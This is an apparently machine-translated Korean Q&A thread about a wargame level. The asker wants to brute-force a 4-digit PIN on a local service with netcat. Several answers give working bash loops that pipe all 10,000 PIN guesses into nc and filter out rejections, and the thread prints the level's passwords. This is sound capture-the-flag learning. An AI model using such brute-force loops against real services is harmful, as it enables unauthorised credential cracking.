
몇 가지 도전을 하고 있어요. 이것은 그들 중 하나입니다. 원하는 답변을 얻기 위해 4자리 PIN을 무차별 대입하여 비밀번호를 입력하려고 합니다. 포트에 연결한 후 비밀번호, 공백, 4자리 PIN을 입력하라는 메시지가 표시되었습니다. 다음 스크립트를 사용하여 핀을 무차별 대입하려고 시도했습니다.
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
하지만 통과하지 못하고 stdin에 고정되지 않는 이와 같은 작업을 시도하기 전에 -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
여기서 내가 뭘 잘못하고 있는 걸까요?
고쳐 쓰다:
글쎄요, 좀 조사한 후에요. 나는 이것을 썼다:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
이것이 작동할 수도 있지만 보시다시피 루프에서 새로운 연결이 열리므로 속도가 매우 느려지고 시스템이 소모됩니다.
답변1
빠르고 효과적인 답변은 다음과 같습니다.
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
업데이트된 답변이 매우 느립니다. 오답을 입력해도 연결은 계속 유지됩니다. 이전 답변에서 볼 수 있듯이 for 루프 끝에 있는 파이프입니다. 올바른 핀을 정말로 알고 싶다면 echo that 전에 줄을 추가할 수 있습니다 echo "the correct pass: $1" > /tmp/correctpin.txt
. 이는 올바른 비밀번호를 받으려는 목적과는 아무런 관련이 없습니다.
답변2
그건 네가 아니기 때문이야말하다스크립트는 nc
표준 입력에 무엇이든 씁니다. 스크립트가 netcat을 시작합니다.종료될 때까지 기다리세요, sleep
루프를 실행하기 2초 전입니다 for
. 다음과 같은 구성이 필요할 수 있습니다.
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
답변3
루프를 netcat 연결로 파이프하고 다음과 같이 파일에 출력을 쓸 수 있습니다.
#!/bin/bash
touch f.txt
for i in {0000..9999}
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
중단되고 루프가 완료되지 않으면 각각 5000회 반복의 두 부분으로 나눌 수 있습니다.
#!/bin/bash
for j in {0000..5000}
do
str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
echo $str1
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
sleep 5
for i in {5000..9999}
do
str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
echo $str2
done | nc 127.0.0.1 30002 > f.txt
cat f.txt |grep -v Wrong
답변4
bandit25 비밀번호를 얻기 위한 한 줄의 코드:
for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"
비밀번호-PIN 조합은 for 루프를 사용하여 전달되며 grep -v
불필요한 출력은 인쇄되지 않습니다.